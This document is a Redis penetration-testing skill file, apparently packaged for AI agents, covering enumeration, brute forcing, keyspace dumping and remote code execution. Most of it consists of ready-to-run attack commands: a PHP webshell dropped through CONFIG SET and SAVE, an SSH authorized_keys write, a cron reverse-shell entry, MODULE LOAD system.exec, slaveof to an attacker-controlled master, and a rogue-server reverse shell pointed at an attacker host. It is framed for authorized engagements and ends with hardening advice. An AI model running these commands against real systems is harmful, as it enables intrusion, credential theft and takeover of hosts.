pentesting-redis

star 599

Testing Redis in-memory data stores (default port 6379) for unauthenticated access, weak AUTH credentials, keyspace dumping, and the high-impact RCE primitives - module load (system.exec), webshell/cron write via CONFIG SET dir + dbfilename + SAVE, SSH authorized_keys write, Lua sandbox escape CVEs, and master-slave replication abuse - during authorized engagements.

xalgord By xalgord schedule Updated 6/6/2026

name: pentesting-redis description: Testing Redis in-memory data stores (default port 6379) for unauthenticated access, weak AUTH credentials, keyspace dumping, and the high-impact RCE primitives - module load (system.exec), webshell/cron write via CONFIG SET dir + dbfilename + SAVE, SSH authorized_keys write, Lua sandbox escape CVEs, and master-slave replication abuse - during authorized engagements. domain: cybersecurity subdomain: network-services-pentesting tags:

  • penetration-testing
  • network-services
  • database
  • redis version: '1.0' author: xalgorix license: Apache-2.0

Pentesting Redis (port 6379)

When to Use

  • Default port 6379/tcp; Redis is a plain-text line protocol (optionally TLS), so nc and redis-cli both work directly.
  • Banner/nmap shows redis and a version like Redis key-value store 4.0.9.
  • Use whenever 6379 is reachable — Redis is unauthenticated by default and frequently exposed without a firewall.

Quick Enumeration

nmap --script redis-info -sV -p6379 <IP>
msfconsole -q -x 'use auxiliary/scanner/redis/redis_server; set RHOSTS <IP>; run; exit'

# Connect (text protocol)
nc -vn <IP> 6379
redis-cli -h <IP>            # apt-get install redis-tools
redis-cli -h <IP> info       # full instance info

Critical: Checks Most Often Missed

  • Unauthenticated access — the #1 miss. By default Redis needs no credentials; info returns instance data instead of -NOAUTH Authentication required.
    • How to CONFIRM: redis-cli -h <IP> info returns server stats. If -NOAUTH is returned, creds are required (AUTH <user> <pass>; reply +OK = valid). Only password configured → username is default.
  • CONFIG SET dir/dbfilename → webshell write — repoint the RDB save path to a webroot, set a key to PHP, and SAVE to write a shell.
    • How to CONFIRM: config set dir /var/www/html, config set dbfilename redis.php, set test "<?php system($_GET['c']);?>", save, then http://<IP>/redis.php?c=id.
  • SSH authorized_keys write — write your public key into ~/.ssh/authorized_keys of the redis (or another) user and log in.
    • How to CONFIRM: config set dir /var/lib/redis/.ssh, config set dbfilename authorized_keys, set a spaced key, save, then ssh -i id_rsa redis@<IP>.
  • Cron job write — write a crontab entry to /var/spool/cron/crontabs/ (Ubuntu) or /var/spool/cron/ (CentOS) for a callback.
    • How to CONFIRM: set a key containing a */1 * * * * <rev shell> line, config set dir /var/spool/cron/crontabs/, config set dbfilename root, save.
  • Module load → direct command execMODULE LOAD /path/mymodule.so (RedisModules-ExecuteCommand) adds system.exec/system.rev.
    • How to CONFIRM: after upload+load, system.exec "id" returns uid=0(root).
  • Lua sandbox escape CVEs — Redis < 8.2.2 / 8.0.4 / 7.4.6 / 7.2.11 / 6.2.20 with Lua enabled: CVE-2025-49844 (parser UAF→RCE), CVE-2025-46817 (unpack overflow DoS), CVE-2025-46818 (metatable cross-user code exec); older CVE-2022-0543 (Debian Lua sandbox escape→RCE).
  • Master-slave replication abuseslaveof <attacker> 6379 makes the target a replica you control (module-load RCE chains).

Workflow

Step 1: Enumerate

redis-cli -h <IP> info
redis-cli -h <IP> CONFIG GET '*'       # full config incl. dir, requirepass
redis-cli -h <IP> CONFIG GET dir       # run FIRST — exploits can change it
redis-cli -h <IP> INFO keyspace        # which databases (0..N) hold data

Step 2: Authenticate (anonymous, AUTH, brute force)

redis-cli -h <IP>                      # try unauthenticated first
redis-cli -h <IP> -a <password> info   # password only (user = default)
# Inside a session if NOAUTH:
#   AUTH <username> <password>          -> +OK means valid
nmap --script redis-brute -p6379 <IP>
hydra -P passwords.txt redis://<IP>
nxc redis <IP> -u '' -p passwords.txt

Step 3: Exploit / Extract (dump keys + RCE primitive)

# Dump the keyspace
redis-cli -h <IP> -n 1                 # select db 1
#   SELECT 1 ; KEYS * ; TYPE <key> ; GET <key> ; LRANGE <key> 0 -1 ; HGETALL <key> ; DUMP <key>
# Webshell write
redis-cli -h <IP>
> config set dir /usr/share/nginx/html
> config set dbfilename redis.php
> set test "<?php phpinfo(); ?>"
> save
# SSH key write
ssh-keygen -t rsa
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
cat spaced_key.txt | redis-cli -h <IP> -x set ssh_key
redis-cli -h <IP> config set dir /var/lib/redis/.ssh
redis-cli -h <IP> config set dbfilename "authorized_keys"
redis-cli -h <IP> save
ssh -i ~/.ssh/id_rsa redis@<IP>
# Module load RCE
redis-cli -h <IP> MODULE LOAD /tmp/module.so
redis-cli -h <IP> MODULE LIST
redis-cli -h <IP> system.exec "id"
# Automated interactive/reverse shell (Redis <= 5.0.5)
./redis-rogue-server.py --rhost <IP> --lhost <ATTACKER>

Step 4: Post-access / privilege escalation / pivot

  • After a webshell/SSH/cron foothold, treat as host access — enumerate the redis user, sudo rights, and other local services.
  • Master-slave: redis-cli -h <IP> slaveof <attacker_IP> 6379, then push keys/modules from your master to the target replica.
  • Note rename-command may rename/disable FLUSHDB, CONFIG, etc.; check CONFIG GET * and try alternates.
  • SSRF/CRLF reachability: if a web app reaches Redis (e.g. GitLab CVE chain), inject queue payloads for RCE.

Key Concepts

Concept Description
Unauthenticated default Redis accepts commands with no credentials unless requirepass/ACL configured.
CONFIG SET dir + dbfilename + SAVE Repoint the RDB dump to any writable path to drop webshells, keys, or cron jobs.
MODULE LOAD Loads a native .so exposing system.exec/system.rev for command execution.
slaveof / replicaof Makes the target a replica of an attacker master, enabling payload push.
Lua scripting (EVAL) Sandboxed Lua; sandbox-escape CVEs yield RCE on unpatched versions.
rename-command Server-side renaming/removal of commands; may block CONFIG/FLUSH.
Keyspace / databases Numbered DBs (0..N); SELECT n then KEYS * to dump.

Tools & Systems

Tool Purpose
redis-cli / nc Native client and raw socket interaction with the text protocol.
nmap NSE redis-info (instance details), redis-brute (credential brute).
Metasploit scanner/redis/redis_server, redis/redis_login, redis/file_upload.
netexec (nxc) nxc redis <IP> ... for auth checks/spraying.
redis-rogue-server Automated module-load RCE / reverse shell (Redis <= 5.0.5).
RedisModules-ExecuteCommand Compile the .so module exposing system.exec.
redis-dump / redis-utils Bulk export of the keyspace (npm / python).

Common Scenarios

Scenario 1: Unauth access → data theft

redis-cli -h <IP> info works with no password. SELECT 1; KEYS *; GET <key> dumps session tokens and cached credentials, immediately reusable elsewhere.

Scenario 2: Unauth → webshell RCE

Redis is unauthenticated and a web root is writable. config set dir /var/www/html; config set dbfilename x.php; set p "<?php system($_GET['c']);?>"; save lands a shell; x.php?c=id returns www-data.

Scenario 3: Unauth → SSH foothold

The redis user's home is writable. The tester writes their public key to /var/lib/redis/.ssh/authorized_keys via CONFIG+SAVE and logs in over SSH as redis.

Output Format

## Redis Finding

**Service**: Redis
**Port**: 6379/tcp (Redis 4.0.9)
**Severity**: Critical
**Finding**: Unauthenticated Redis allowing webshell write (RCE)
**Evidence**:
  - `redis-cli -h <IP> info` returned server stats with no AUTH
  - config set dir /var/www/html; set p "<?php ...?>"; save -> file written
  - http://<IP>/p.php?c=id -> uid=33(www-data)
**Impact**: Unauthenticated access to all cached data plus remote code execution on the host.
**Recommendation**:
  1. Enable authentication (`requirepass` / ACL users) with a strong password.
  2. Bind to localhost or restrict 6379 by firewall; enable protected-mode.
  3. Disable/rename dangerous commands (CONFIG, MODULE, SLAVEOF, FLUSHALL) via rename-command.
  4. Run redis as an unprivileged user; patch to a current release to fix Lua RCE CVEs.
Install via CLI
npx skills add https://github.com/xalgord/xalgorix --skill pentesting-redis
Repository Details
star Stars 599
call_split Forks 104
navigation Branch main
article Path SKILL.md
More from Creator